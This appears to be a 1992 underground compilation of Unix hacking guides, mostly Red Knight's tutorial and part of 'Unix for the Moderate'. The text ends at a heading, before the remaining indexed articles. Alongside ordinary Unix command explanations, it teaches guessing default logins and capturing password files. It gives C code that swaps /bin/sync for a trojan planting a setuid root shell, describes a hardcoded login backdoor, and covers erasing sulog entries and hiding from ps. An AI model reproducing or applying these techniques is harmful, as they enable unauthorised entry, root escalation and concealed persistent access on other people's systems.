                             Unix Hacking docs
                             ^^^^^^^^^^^^^^^^^

These files should help you hack unix systems, all major UNIX versions
are supported, System 7,System V,BSD,Ultrix & Xenix, unless otherwise stated.
Most of the information contained in this doc was taken from issues of
Phrack and various Unix System Security books.
The Authors of the parts of this doc have been credited.
The articles in this document were compiled by ZARF.


Zarf 1992

*---------------------------------------------------------------------------*

                                   Index
                                   ^^^^^

         Topic                                           Author(s)
         ^^^^^                                           ^^^^^^^^^

An Indepth Guide to Hacking UNIX              Red Knight
UNIX for the moderate                         The Urvile & Necron 99               
UNIX System Security Issues                   Michael J. Knox & Edward D. Bowden
Some Nasty things to do with UNIX             Shooting Shark/L.O.D.
More UNIX Nasties                             Shooting Shark/L.O.D.
UNIX Trojan Horses                            Shooting Shark/L.O.D.
UNIX Cracking tips                            Dark Overlord
Disguising yourself under UNIX                Black Tie Affair
Hacking UNIX/A Brute force Password Cracker   >Anonymous<
The Intelligent UNIX Spoof                    Zarf



*---------------------------------------------------------------------------*


                     An Indepth Guide In Hacking UNIX       
                                  and                     
                The Concept Of Basic Networking Utility     
                                                            
                             By Red Knight                  
                                                            
                             Member of the                  
                 Phreakers/Hackers Underground Network      
        


Brief History On UNIX
~~~~~~~~~~~~~~~~~~~~~
Its because of Ken Thompson that today we are able to hack Unix.  He used to
work for Bell Labs in the 1960s.  Thompson started out using the MULTICS OS
which was later eliminated and Thompson was left without an operating system to
work with.

Thompson had to come up with something real quick. He did some research and and
in 1969 UNIX came out, which was a single user and it did not have many
capabilities.  A combined effort with others enabled him to rewrite the version
in C and add some good features.  This version was released in 1973 and was
made available to the public.  This was the first begining of UNIX in its
presently known form.  The more refined version of UNIX, today know as UNIX
system V developed by Berkley University has unique capabilities.

Various types of UNIXes are CPIX, Berkeley Ver 4.1, Berkeley 4.2, FOS, Genix,
HP-UX, IS/I, OSx, PC-IX, PERPOS, Sys3, Ultrix, Zeus, Xenix, UNITY, VENIX, UTS,
Unisys, Unip lus+, UNOS, Idris, QNIX, Coherent, Cromix, System III, System 7,
Sixth edition.

The Article Itself
~~~~~~~~~~~~~~~~~~
I believe that hacking into any system requires knowledge of the operating
system itself.  Basically what I will try to do is make you more familiar with
UNIX operation and its useful commands that will be advantageous to you as a
hacker.  This article contains indepth explainations.  I have used the  UNIX
System V to write this article.


Error Messages:  (UNIX System V)
~~~~~~~~~~~~~~
Login Incorrect - An invalid ID and/or password was entered.  This means
                  nothing.  In UNIX there is no way guessing valid user IDs.
                  You may come across this one when trying to get in.

No More Logins  - This happens when the system will not accept anymore logins.
                  The system could be going down.

Unknown Id      - This happens if an invalid id is entered using (su) command.

Unexpected Eof In File - The file being stripped or the file has been damaged.

Your Password Has Expired - This is quite rare although there are situations
                            where it can happen.  Reading the etc/passwd will
                            show you at how many intervals it changes.

You May Not Change The Password - The password has not yet aged enough.  The
                                  administrator set the quotas for the users.

Unknown Group (Group's Name) - Occurs when chgrp is executed, group does not
                               exist.
Sorry - Indicated that you have typed in an invalid super user password
        (execution of the su).

Permission Denied! - Indicated you must be the owner or a super user to change
                     password.

Sorry <( Of Weeks) Since Last Change - This will happen when password has has
                                        not aged enough and you tried to change
                                        it (password).

(Directory Name):  No Permission - You are trying to remove a directory which
                                   you have no permission to.

(File Name) Not Removed - Trying to delete a file owned by another user that
                          you do not have write permission for.

(Dirname) Not Removed - Ownership of the dir is not your that your trying to
                        delete.

(Dirname) Not Empty - The directory contains files so you must have to delete
                      the files before execcant open [file name] - defined
                      wrong path, file name or you have no read permission.

Cp:  (File Name) And (File Name) Are Identical - Self explanatory.

Cannot Locate Parent Directory - Occurs when using mv.

(File name) Not Found - File which your trying to move does not exist.

You Have Mail - Self explanatory.


Basic Networking Utility Error Messages
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Cu:  Not found         - Networking not installed.
Login Failed           - Invalid id/pw or wrong number specified.
Dial Failed            - The systen never answered due to a wrong number.
UUCP Completely Failed - Did not specify file after -s.
Wrong Time to Call     - You called at the time at a time not specified in the
                         Systems file.
System not in systems  - You called a remote not in the systems file.


Logon Format
~~~~~~~~~~~~
The first thing you must do is switch to lower case.  To identifing a UNIX,
this is what you will see;

AT&T Unix System V 3.0 (eg of a system identifier)

login:
 or
Login:

Any of these is a UNIX.  Here is where you will have to guess at a user valid
id.  Here are some that I have come across; glr, glt, radgo, rml, chester, cat,
lom, cora, hlto, hwill, edcasey, and also some containing numbers; smith1,
mitu6, or special characters in it; bremer$, jfox.  Login names have to be 3
to 8 chracters in length, lowercase, and must start with a letter.  In some
XENIX systems one may login as "guest"

User Level Accounts (Lower Case)
~~~~~~~~~~~~~~~~~~~
In Unix there are what is called.  These accounts can be used at the "login:"
prompt.  Here is a list:

sys      bin     trouble      daemon     uucp     nuucp      rje     lp     adm


Super-User Accounts
~~~~~~~~~~~~~~~~~~~
There is also a super-user login which make UNIX worth hacking.  The accounts
are used for a specific job.  In large systems these logins are assingned to
users who have a responsibilty to maintain subsystems.

They are as follows (all lower case);

root       -  This is a must the system comes configured with it. It has no
              restriction.  It has power over every other account.
unmountsys -  Unmounts files
setup      -  System set up
makefsys   -  Makes a new file
sysadm     -  Allows useful S.A commands (doesn't need root login)
powerdown  -  Powering system down
mountfsys  -  Mounts files
checkfsys  -  Checks file

These accounts will definitly have passwords assigned to them.  These accounts
are also commands used by the system administrator.  After the login prompt you
will receive a password prompt:

password:
  or
Password:

Enter the password (it will not echo).  The password rule is as follows; Each
password has to contain at least 6 characters and maximum of 8 characters.  Two
of which are to be alphabetic letters and at least one being a number or a
special character.  The alphabetic digits could be in upper case or lower
case.  Here are some of the passwords that I have seen; Ansuya1, PLAT00N6,
uFo/78, ShAsHi.., Div417co.

The passwords for the super user accounts will be difficult to hack try the
accounts interchangebly; login:sysadm password:makefsys, or rje1, sysop,
sysop1, bin4, or they might contain letters, numbers, or special chracters in
them.  It could be anything.  The user passwords are changed by an aging
proccess at successive intervals.  The users are forced to changed it.  The
super-user will pick a password that will not need changing for a long period
of time.


You Have Made It!
~~~~~~~~~~~~~~~~~
The hard part is over and hopefully you have hacked a super-user account.
Remember Control-d stops a process and also logs you off.  The next thing you
will probably see is the system news.  Ex;

login:john
password:hacker1

System news

There will be no networking offered to the users till
August 15, due to hardware problems.
(Just An Example)

$

$ (this is the Unix prompt) - Waiting for a command to be entered.
 - Means your logged in as root (Very Good).

A Word About The XENIX System III (Run On The Tandy 6000)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The largest weakness in the XENIX System III occurs after the installation
of the Profile-16 or more commonly know as the Filepro-16.  I have seen the
Filepro-16 installed in many systems.  The installation process creates an
entry in the password file for a user named \fBprofile\fR, an account that who
owns and administors the database.  The great thing about it is that when the
account is created, no password is assigned to it.  The database contains
executable to maintain it.  The database creation programs perform a
\fBsetuid\fR to boot up the \fBoot\fR  thereby giving a person the whole C
Shell to gain Super User privilege same as root.  Intresting huh!

(* Note:  First the article will inform you of how the Unix is made up.)


The Unix is made if three components - The Shell, The Kernal, File System.

The Kernal
~~~~~~~~~~
You could say that the kernal is the heart of the Unix operating system. The
kernal is a low level language lower than the shell which maintains processes.
The kernal handles memory usage, maintains file system the sofware and hardware
devices.

The Shell
~~~~~~~~~
The shell a higher level language.  The shell had two important uses, to act as
command interpreture for example using commands like cat or who.  The shell is
at work figuring out whether you have entered a command correctly or not.  The
second most important reason for the shell is its ability to be used as
programing language.  Suppose your performing some tasks repeatedly over and
over again, you can program the shell to do this for you.

            (Note:  This article will not cover shell programming.)
            (       Instead B.N.N will be covered.                )


The File System
~~~~~~~~~~~~~~~
The file system in Unix is divided into 3 catagories:  Directories, ordinary
files and special files (d,-).

Basic Stucture:

(/)-this is abreviation for the root dirctory.

  root level                      root
                                  (/)                                  system
-------------------------------------|---------------------------------- level
|      |        |         |                  |        |       |        |
/unix  /etc     /dev      /tmp               /lib     /usr    /usr2    /bin
       |                                         _____|_____
login passwd                                     |    |    |
level                                            /john  /cathy
                              ________________________|_______________
                             |        |     |      |        |        |
                         .profile   /mail  /pers  /games   /bin     /michelle
*.profile - in case you                    |    __|______  |      __|_______
wish to change your environment, but    capital |        | data   | |       |
after you log off, it sets it to              othello  starwars letter letter1
default.

/unix - This is the kernal.
/etc  - Contains system administrators files,Most are not available to the
        regular user (this dirrctory contains the /passwd file).

    Here are some files under /etc directory:
    /etc/passwd
    /etc/utmp
    /etc/adm/sulog
    /etc/motd
    /etc/group
    /etc/conf
    /etc/profile

/dev - contains files for physical devices such as printer and the disk drives
/tmp - temporary file directory
/lib - dirctory that contains programs for high level languages
/usr - this directory contains dirctories for each user on the system
/bin - contain executable programs (commands)

The root also contains:
/bck - used to mount a back up file system.
/install - Used to install and remove utilities
/lost+found - This is where all the removed files go, this dir is used by fsck
/save -A utility used to save data
/mnt - Used for temporary mounting

**Now the fun part scouting around**

Local Commands (Explained In Details)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
At the unix prompt type the pwd command.  It will show you the current working
directory you are in.

$ pwd
$ /usr/admin - assuming that you have hacked into a super user account
               check fsys
$

This gives you the full login directory.  The / before tell you the location of
the root directory.

Or

(REFER TO THE DIAGRAM ABOVE)
$ pwd
$ /usr/john
$
Assuming you have hacked into John's account.

Lets say you wanted to move down to the Michelle directory that contains
letters.  You would type in;

$ cd michelle or cd usr/john/michelle
$ pwd
$ /usr/john/michelle
$

Going back one directory up type in:
$ cd ..
or going to your parent directory just type in "cd"

Listing file directories assuming you have just logged in:
$ ls /usr/john
mail
pers
games
bin
michelle
This wont give you the .profile file.  To view it type
$ cd
$ ls -a
:
:
.profile

To list file names in Michelle's directory type in:
$ ls michelle (that if your in the johns directory)
$ ls /usr/john/michelle(parent dir)

ls -l
~~~~~
The ls -l is an an important command in unix.This command displays the whole
directory in long format :Run this in parent directory.
$ ls -l
total 60
-rwxr-x---    5 john      bluebox    10 april 9  7:04  mail
drwx------    7 john      bluebox    30 april 2  4:09  pers
     :            :         :         :     :      :    :
     :            :         :         :     :      :    :
-rwxr-x---     6 cathy    bluebox    13 april 1  13:00 partys
     :            :         :         :     :      :    :
$

The total 60 tells one the ammount of disk space used in a directory.  The
-rwxr-x--- is read in triples of 3.  The first chracter eg (-, d, b, c) means
as follows:  - is an ordinary file, d is a directory, b is block file, c is a
character file.

The r stands for read permission, w is write permission, x is execute. The
first column is read in 3 triples as stated above.  The first group of 3 (in
-rwxr-x---) after the "-" specifies the permission for the owner of the file,
the second triple are for the groups (the fourth column) and the last triple
are the permissions for all other users.  Therefore, the -rwxr-x--- is read as
follows.

The owner, John, has permission to read, write, and execute anything in the bin
directory but the group has no write permission to it and the rest of the users
have no permission at all.  The format of one of the lines in the above output
is as follows:

file type-permissions, links, user's name, group, bytes taken, date, time when
last renued, directory, or file name.

               *** You will be able to read, execute Cathy's ***
               *** file named partly due to the same group.  ***

Chmod
~~~~~
The chmod command changes permission of a directory or a file.  Format is
chmod who+, -, =r , w, x

The who is substituted by u-user, g-group, o-other users, a-all.
The + means add permission, - means remove permission, = - assign.
Example:  If you wanted all other users to read the file name mail, type:

$ chmod o+r mail

Cat
~~~
Now suppose you wanted to read the file letter.  There are two ways to doing
this.  First go to the michelle directory then type in:

$ cat letter
line one ...\
line two ... }the output of letter
line three../
$
   or
If you are in the parent directory type in:
$ cat /usr/john/michelle/letter
and you will have the same output.

Some cat options are  -s, -u, -v, -e, -t

Special Chracters in Unix
~~~~~~~~~~~~~~~~~~~~~~~~~
*      - Matches any number of single characters eg. ls john* will list all
         files that begin with john
[...]  - Matchs any one of the chracter in the [ ]
?      - Matches any single chracter
&      - Runs a process in the backgroung leaving your terminal free
$      - Values used for variables also $n - null argument
>      - Redirectes output
<      - Redirects input to come from a file
>>     - Redirects command to be added to the end of a file
|      - Pipe output (eg:who|wc-l tells us how many users are online)
"..."  - Turn of meaning of special chracters excluding $,`
`...`  - Allows command output in to be used in a command line
'...'  - Turns of special meaning of all chracters

Continuation Of Local Commands
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
man [command] or [c/r] -will give you a list of commands explainations
help - available on some UNIX systems
mkdir [dir name(s)] - makes a directory
rmdir [dir name(s)] - removes directory.You wont be able to remove the
                      directory if it contains files in them
rm [file name(s)] - removes files. rm * will erase all files in the current
                    dir.  Be carefull you!  Some options are:
                    [-f unconditional removal] [-i Prompts user for y or n]

ps [-a all processes except group leaders] [-e all processes] [-f the whole
   list]  - This command reports processes you are running eg:

   $ps
   PID   TTY  TIME   COMMAND
   200   tty09 14:20  ps

   The systems reports (PID - process idenetification number which is a number
   from 1-30,000 assigned to UNIX processes)
   It also reports the TTY,TIME and the COMMAND being executed at the time.
   To stop a process enter :

   $kill [PID] (this case its 200)
   200 terminated
   $

grep (argument) - searches for an file that contains the argument
mv (file names(s)) ( dir name ) - renames a file or moves it to another
                                  directory
cp [file name] [file name] - makes a copy of a file
write [login name ] - to write to other logged in users.  Sort of a chat
mesg [-n] [-y] - doesn't allow others to send you messages using the write
                 command.  Wall used by system adm overrides it.
$ [file name] - to execute any file
wc [file name] - Counts words, characters,lines in a file
stty [modes] - Set terminal I/O for the current devices
sort [filename] - Sorts and merges files many options
spell [file name] > [file name] - The second file is where the misspelt words
                                  are entered
date [+%m%d%y*] [+%H%%M%S] - Displays date acoording to options
at [-r] [-l] [job] - Does a specified job at a specified time.  The -r Removes
                     all previously scheduled jobs.The -l reports the job  and
                     status of all jobs scheduled
write [login] [tty] - Sends message to the login name.  Chat!


Su [login name]
~~~~~~~~~~~~~~~
The su command allows one to switch user to a super user to a user.  Very
important could be used to switch to super user accounts.
Usage:

$ su sysadm
password:

This su command will be monitored in /usr/adm/sulog and this file of all files
is carefully monitered by the system administrator.Suppose you hacked in john's
account and then switched to the sysadm account (ABOVE) your /usr/adm/su log
entry would look like:

SU  04/19/88  21:00 + tty 12 john-sysadm

Therfore the S.A(system administrator) would know that john swithed to sysadm
account on 4/19/88 at 21:00 hours


Searching For Valid Login Names:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Type in-
$ who  ( command informs the user of other users on the system)
cathy  tty1  april 19  2:30
john   tty2  april 19  2:19
dipal  tty3  april 19  2:31
:
:
tty is the user's terminal, date, time each logged on.  mary, dr.m are valid
logins.

Files worth concatenating(cat)


/etc/passwd file
~~~~~~~~~~~~~~~~
The etc/passwd is a vital file to cat.  For it contains login names of all
users including super user accounts and there passwords.  In the newer SVR3
releases they are tighting their security by moving the encrypted passwords
from /etc/passwd to /etc/shadow making it only readable by root.
This is optional of course.

$ cat /etc/passwd
root:D943/sys34:0:1:0000:/:
sysadm:k54doPerate:0:0:administration:usr/admin:/bin/rsh
checkfsys:Locked;:0:0:check file system:/usr/admin:/bin/rsh
:
other super user accs.
:
john:hacker1:34:3:john scezerend:/usr/john:
:
other users
:
$

If you have reached this far capture this file as soon as possible.  This is a
typical output etc/passwd file.  The entries are seperated by a ":".  There
made be up to 7 fields in each line.
Eg.sysadm account.

The first is the login name in this case sysadm.The second field contains the
password.  The third field contains the user id."0 is the root."  Then comes
the group id then the account which contains the user full name etc.  The sixth
field is the login directory defines the full path name of the the paticular
account and the last is the program to be executed.  Now one can switch to
other super user account using su command descibed above.  The password entry
in the field of the checkfsys account in the above example is "Locked;". This
doesn't mean thats its a password but the account checkfsys cannot be accessed
remotely.  The ";" acts as an unused encryption character.  A space is also
used for the same purpose.  You will find this in many UNIX systems that are
small systems where the system administrator handles all maintaince.

If the shawdowing is active the /etc/passwd would look like this:

root:x:0:1:0000:/:
sysadm:x:0:0:administration:/usr/admin:/bin/rsh

The password filed is substituted by "x".

The /etc/shawdow file only readable by root will look similar to this:

root:D943/sys34:5288::
:
super user accounts
:
Cathy:masai1:5055:7:120
:
all other users
:

The first field contains users id:  The second contains the password (The pw
will be NONE if logining in remotely is deactivated):  The third contains a
code of when the password was last changed:  The fourth and the fifth contains
the minimum and the maximum numbers of days for pw changes (its rare that you
will find this in the super user logins due to there hard to guess passwords)


/etc/options
~~~~~~~~~~~~
The etc/options file informs one the utilities available in the system.
-rwxr-xr-x   1 root  sys   40 april  1:00  Basic Networking utility


/etc/group
~~~~~~~~~~
The file has each group on the system.  Each line will have 4 entries separated
by a ":".   Example of concatenated /etc/group:

root::0:root
adm::2:adm,root
bluebox::70:

Group name:password:group id:login names
** It very unlikely that groups will have passwords assigned to them **
The id "0" is assigned to /


Sending And Recieving Messages
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Two programs are used to manage this.  They are mail & mailx.  The difference
between them is that mailx is more fancier thereby giving you many choices like
replying message, using editors, etc.


Sending
~~~~~~~
The basic format for using this command is:

$mail [login(s)]
(now one would enter the text after finishing enter "." a period on the next
blank line)
$

This command is also used to send mail to remote systems.  Suppose you wanted
to send mail to john on a remote called ATT01 you would type in:

$mail ATT01!john

Mail can be sent to several users, just by entering more login name after
issuing the mail command

Using mailx is the same format:(This I'll describe very briefly) $mailx john
subject:(this lets you enter the subject)
(line 1)
(line 2)
(After you finish enter (~.) not the brackets of course, more commands are
available like ~p, ~r, ~v, ~m, ~h, ~b, etc.).


Receiving
~~~~~~~~~
After you log on to the system you will the account may have mail waiting.
You will be notified "you have mail."
To read this enter:
$mail
(line 1)
(line 2)
(line 3)
?
$

After the message you will be prompted with a question mark.  Here you have a
choice to delete it by entering d, saving it to view it later s, or just press
enter to view the next message.

              (DON'T BE A SAVANT AND DELETE THE POOR GUY'S MAIL)


Super User Commands
~~~~~~~~~~~~~~~~~~~
$sysadm adduser - will take you through a routine to add a user (may not last
                  long)

Enter this:

$ sysadm adduser
password:
(this is what you will see)
 /--------------------------------------------------------------------------\
  Process running succommmand `adduser`
  USER MANAGMENT

  Anytime you want to quit, type "q".
  If you are not sure how to answer any prompt, type "?" for help

  If a default appears in the question, press <RETURN> for the default.

  Enter users full name [?,q]: (enter the name you want)
  Enter users login ID [?,q]:(the id you want to use)
  Enter users ID number (default 50000) [?,q) [?,q]:( press return )
  Enter group ID number or group name:(any name from /etc/group)
  Enter users login home directory:(enter /usr/name)

  This is the information for the new login:
  Users name: (name)
  login ID:(id)
  users ID:50000
  group ID or name:
  home directory:/usr/name
  Do you want to install, edit, skip [i, e, s, q]? (enter your choice if "i"
  then)
 Login installed
 Do you want to give the user a password?[y,n] (its better to enter one)
 New password:
 Re-enter password:

 Do you want to add another login?
\----------------------------------------------------------------------------/

This is the proccess to add a user.  Since you hacked into a super user account
you can make a super user account by doing the following by entering 0 as an
user and a group ID and enter the home directory as /usr/admin.  This will give
you as much access as the account sysadm.

**Caution** - Do not use login names like Hacker, Cracker,Phreak etc.  This is
a total give away.

The process of adding a user wont last very long the S.A will know when he
checks out the /etc/passwd file

$sysadm moduser - This utility allows one to modify users.  DO NOT ABUSE!!
!

Password:

This is what you'll see:

/----------------------------------------------------------------------------\
MODIFYING USER'S LOGIN

1)chgloginid  (This is to change the login ID)
2)chgpassword (Changing password)
3)chgshell (Changing directory DEFAULT = /bin/sh)

ENTER A NUMBER,NAME,INITIAL PART OF OF NAME,OR ? OR <NUMBER>? FOR HELP, Q TO
QUIT ?
\----------------------------------------------------------------------------/

Try every one of them out.Do not change someones password.It creates a havoc.
If you do decide to change it.Please write the original one down somewhere
and change back.Try not to leave to many traces after you had your fun.  In
choice number 1 you will be asked for the login and then the new one.  In
choice number 2 you will asked for the login and then supplied by it correct
password and enter a new one.  In choice 3 this is used to a pchange the login
shell ** Use full **  The above utilites can be used separatly for eg (To
change a password one could enter: $sysadm chgpasswd not chapassword, The rest
are same)

$sysadm deluser - This is an obviously to delete a user password:

This will be the screen output:
/---------------------------------------------------------------------------\
Running subcommand 'deluser' from menu 'usermgmt'
USER MANAGEMENT

This fuction completely removes the user,their mail file,home directory and all
files below their home directory from the machine.

Enter login ID you wish to remove[q]:      (eg.cathy)
'cathy' belongs to 'Cathy Franklin'
whose home directory is /usr/cathy
Do you want to remove this login ID 'cathy' ? [y,n,?,q] :

/usr/cathy and all files under it have been deleted.

Enter login ID you wish to remove [q]:
\--------------------------------------------------------------------------/
This command deletes everthing owned by the user.Again this would be stupid to
use.


Other Super User Commands
~~~~~~~~~~~~~~~~~~~~~~~~~
wall [text] control-d  - to send an anouncement to users logged in (will
                         override mesg -n command).  Execute only from /
/etc/newgrp - is used to become a member of a group

sysadm [program name]
        delgroup - delets groups
        diskuse - Shows free space etc.
        whoson - self explanatory
        lsgroup - Lists group
        mklineset -hunts various sequences


                        Basic Networking Unility (BNU)
                        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The BNU is a unique feature in UNIX.Some systems may not have this installed.
What BNU does is allow other remote UNIXes communicate with yours without
logging off the present one.BNU also allowes file transfer between computers.
Most UNIX systems V will have this feature installed.

The user program like cu,uux etc are located in the /usr/bin directory

Basic Networking Files
~~~~~~~~~~~~~~~~~~~~~~
/usr/lib/uucp/[file name]
 [file name]
 systems - cu command to establishes link.Contains info on remote computers
           name, time it can be reached, login Id, password, telephone numbers
 devices - inter connected with systems files (Automatic call unit same in two
           entries) also contains baud rate, port tty1, etc.

 dialers - where asscii converation must be made before file tranfers etc.
 dialcodes - contains abreiviations for phone numbers that can be used in
             systems file

other files are sysfiles, permissions, poll, devconfig

Logining On To Remote And Sending+Receiving Files
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 cu - This command allows one to log on to the local as well as the remote Unix
      (or a non unix)without haveing to hang up so you can transfer files.
      Usage:[options]

  $ cu [-s baud rate][-o odd parity][-e even parity][-l name of comm line]
       telephone number | systemname

  To view system names that you can communicate with use the 'unname' command:
  Eg. of output of names:

  ATT01
  ATT02
  ATT03
  ATT04


$ cu -s300 3=9872344 (9872344 is the tel)
 connected
 login:
 password:

Local Strings
~~~~~~~~~~~~~
<~.> - will log you off the remote terminal, but not the local
<control-d> - puts you back on the remote unix local (the directory which you
              are in)
"%put [file name] - reverse of above

Ct
~~
ct allows local to connect to remote.Initiates a getty on a remote terminal.
Usefull when using a remote terminal.BNU has call back feature that allows the
user on the remote who can execute a call back meaning the local can call the
remote.[   ] are options

$ ct [-h prevent automatic hang up][-s bps rate][-wt set a time to call back
     abbrieviated t mins] telephone number

Uux
~~~
To execute commands on a remote (unix to unix)
usage:[  ] are options

$ uux [- use standard output][-n prevent mail notification][-p also use
      standard output] command-string

UUCP
~~~~
UUCP copies files from ones computer to the home directory of a user in remote
system.  This also works when copying files from one directory to another in
the remote.  The remote user will be notified by mail.  This command becomes
use full when copying files from a remote to your local system.  The UUCP
requires the uucico daemon will call up the remote and will perform file login
sequence, file transfer, and notify the user by mail.  Daemons are programs
runining in the background.  The 3 daemons in a Unix are uucico, uusched,
uuxqt.

Daemons Explained:  [nows a good time to explain the 3 daemons]
~~~~~~~~~~~~~~~~~
Uuxqt - Remote execution.  This daemon is executed by uudemon.hour started by
        cron.UUXQT searchs in the spool directory for executable file named
        X.file sent from the remote system.  When it finds a file X .file where
        it obtains process which are to be executed.  The next step is to find
        weather the processes are available at the time.The if available it
        checks permission and if everthing is o.k it proceeds the background
        proccess.

Uucico - This Daemon is very immportant for it is responsible in establishing
         a connection to the remote also checks permission, performs login
         procedures,transfers + executes files and also notifies the user by
         mail.  This daemon is called upon by uucp,uuto,uux commands.

Uusched - This is executed by the shell script called uudemon.hour.  This
          daemons acts as a randomizer before the UUCICO daemon is called.


Usage:

$ uucp [options] [first full path name!] file [destination path!] file example:

$ uucp -m -s bbss hackers unix2!/usr/todd/hackers

What this would do is send the file hackers from your computer to the remotes
/usr/todd/hackers making hackers of course as file.  Todd would mail that a
file has been sent to him.  The Unix2 is the name of the remote.  Options for
UUCP:  (Don't forget to type in remotes name Unix2 in case)
-c  dont copy files to spool directory
-C  copy to spool
-s[file name] - this file will contain the file status(above is bbss)
-r  Dont start the comm program(uucico) yet
-j  print job number(for above eg.unix2e9o3)
-m  send mail when file file is complete

Now suppose you wanted to receive file called kenya which is in the
usr/ dan/usa to your home directory /usr/john assuming that the local systems
name is ATT01 and you are currently working in /usr/dan/usa,you would type in:

$uucp kenya ATT01!/usr/john/kenya

Uuto
~~~~
The uuto command allows one to send file to remote user and can also be used to
send files locally.

Usage:

$ uuto [file name] [system!login name]( omit systen name if local)


Conclusion
~~~~~~~~~~
Theres always more one can say about the UNIX, but its time to stop.  I hope
you have enjoyed the article.  I apologize for the length.  I hope I made the
UNIX operating system more familiar.  The contents of the article are all
accurate to my knowledge.  Hacking into any system is illegal so try to use
remote dial-ups to the job.  Remember do not abuse any systems you hack into
for a true hacker doesn't like to wreck, but to learn.


*----------------------------------------------------------------------------*

                --------------------------------------------------
               *             Unix for the Moderate                *
               *                                                  *
               *    By: The Urvile, Necron 99, and a host of me.  *
                --------------------------------------------------

Disclaimer:
   This is mainly for system five.  I do reference bsd occasionally,
   but I mark those.  All those little weird brands (i.e., DEC's
   ultrix, xenix, and so on) can go to hell.

Security:  (Improving yours.)
   -Whenever logging onto a system, you should always do the following:
       $ who -u
       $ ps -ef
       $ ps -u root

   or bsd:

       $ who; w; ps uaxg

   This prints out who is on, who is active, what is going on presently,
   everything in the background, and so on.
   And the ever popular:

       $ find / -name "*log*" -print
   
   This lists out all the files with the name 'log' in it. If you do
   find a process that is logging what you do, or an odd log file, change
   it as soon as you can.
   
   If you think someone may be looking at you and you don't want to leave
   (Useful for school computers) then go into something that allows shell
   breaks, or use redirection to your advantage:
   
       $ cat < /etc/passwd
   
   That puts 'cat' on the ps, not 'cat /etc/passwd'.
   If you're running a setuid process, and don't want it to show up on
   a ps (Not a very nice thing to have happen), then:
   
       $ super_shell
       # exec sh
   
   Runs the setuid shell (super_shell) and puts something 'over' it.
   You may also want to run 'sh' again if you are nervous, because
   if you break out of an exec'ed process, you die. Neat, huh?

Improving your id:
   
   -First on, you should issue the command 'id' & it will tell you
   you your uid and euid.  (bsd:  whoami; >/tmp/xxxx;ls -l /tmp/xxxx will
   tell you your id [whoami] and your euid [ls -l].), terribly
   useful for checking on setuid programs to see if you have root euid
   privs. Also, do this:
   
       $ find / -perm -4000 -exec /bin/ls -lad {} ";"
   
   Yes, this finds and does an extended list of all the files that
   have the setuid bit on them, like /bin/login, /bin/passwd, and so
   on.  If any of them look nonstandard, play with them, you never can tell
   what a ^| will do to them sometimes.  Also, if any are writeable and
   executable, copy sh over them, and you'll have a setuid root shell.
   Just be sure to copy whatever was there back, elsewise your stay
   will probably be shortened a bit.
   
   -What, you have the bin passwd?
   
   Well, game over. You have control of the system. Everything in
   the bin directory is owned by bin (with the exception of a few
   things), so you can modify them at will.  Since cron executes
   a few programs as root every once in a while, such as /bin/sync,
   try this:

       main()
          {
               if (getuid()==0 || getuid()==0)        {
                    system("cp /bin/sh /tmp/sroot");
                    system("chmod 4777 /tmp/sroot");  }
               sync();
          }

       $ cc file.c
       $ cp /bin/sync /tmp/sync.old
       $ mv a.out /bin/sync
       $ rm file.c

   Now, as soon as cron runs /bin/sync, you'll have a setuid shell
   in /tmp/sroot.  Feel free to hide it.
   
   -the 'at' & 'cron' commands:
   
   Look at the 'at' dir.  Usually /usr/spool/cron/atjobs. If you can
   run 'at' (check by typing 'at'), and 'lasttimedone' is writable, then:
   submit a blank 'at' job, edit 'lastimedone' to do what you want it to do,
   and move lasttimedone over your entry (like 88.00.00.00). Then the
   commands you put in lasttimedone will be ran as that file's
   owner. Cron: in /usr/spool/cron/cronjobs, there are a list of
   people running cron jobs.  Cat root's, and see if he runs any of
   the programs owned by you (Without doing a su xxx -c "xxx"). For
   matter, check all the crons. If you can take one system login,
   you should be able to get the rest, in time.
   
   -The disk files.
   
   These are rather odd. If you have read permission on the disks in /dev,
   then you can read any file on the system. All you have to do is find
   it in there somewhere. If the disk is writeable, if you use /etc/fsbd,
   you can modify any file on the system into whatever you want, such as
   by changing the permissions on /bin/sh to 4555. Since this is
   pretty difficult to understand (and I don't get it fully), then I
   won't bother with it any more.
   
   -Trivial su.
   
   You know with su you can log into anyone elses account if you know
   their passwords or if you're root. There are still a number of
   system 5's that have uid 0, null passwd, rsh accounts on them.
   Just be sure to remove your entry in /usr/adm/sulog.
   
   -Trojan horses?  On unix?
   
   Yes, but because of the shell variable PATH, we are generally
   out of luck, because it usually searches /bin and /usr/bin first.
   However, if the first field is a colon, files in the present
   directory are searched first. Which means if you put a modified
   version of 'ls' there, hey. If this isn't the case, you will have
   to try something more blatant, like putting it in a game (see
   Shooting Shark's file a while back). If you have a system login,
   you may be able to get something done like that. See cron.

Taking over:
   
   Once you have root privs, you should read all the mail in /usr/mail,
   just to sure nothing interesting is up, or anyone is passing
   another systems passwds about. You may want to add another
   entry to the passwd file, but that's relatively dangerous to the
   life of your machine. Be sure not to have anything out of the
   ordinary as the entry (i.e., No uid 0).
   Get a copy of the login program (Available at your nearest decent
   BBS, I hope) of that same version of unix, and modify it a bit:
   on system 5, here's a modification pretty common: in the routine
   to check correct passwds, on the line before the actual pw check,
   put a if (!(strcmp(pswd,"woof"))) return(1); to check for your
   'backdoor', enabling you to log on as any valid user that isn't
   uid 0 (On system 5).

Neato things:
   
  -Have you ever been on a system that you couldn't get root or
   read the Systems/L.sys file?  Well, this is a cheap way to overcome
   it:  'uuname' will list all machines reachable by your unix,
   then (Assuming they aren't Direct, and the modem is available):
  
       $ cu -d host.you.want            [or]
       $ uucico -x99 -r1 -shost.you.want
  
   Both will do about the same for us.  This will fill your screen
   with lots of trivial material, but will eventually get to the point
   of printing the phone number to the other system.  -d enables
   the cu diagnostics, -x99 enables the uucico highest debug, and
  
   -R1 says 'uucp master'.
  
   Back a year or two, almost everywhere had their uucp passwd
   set to the same thing as their nuucp passwd (Thanks to the
   Systems file), so it was a breeze getting in. Even nowadays,
   some places do it.. You never can tell.
  
   -Uucp:
  
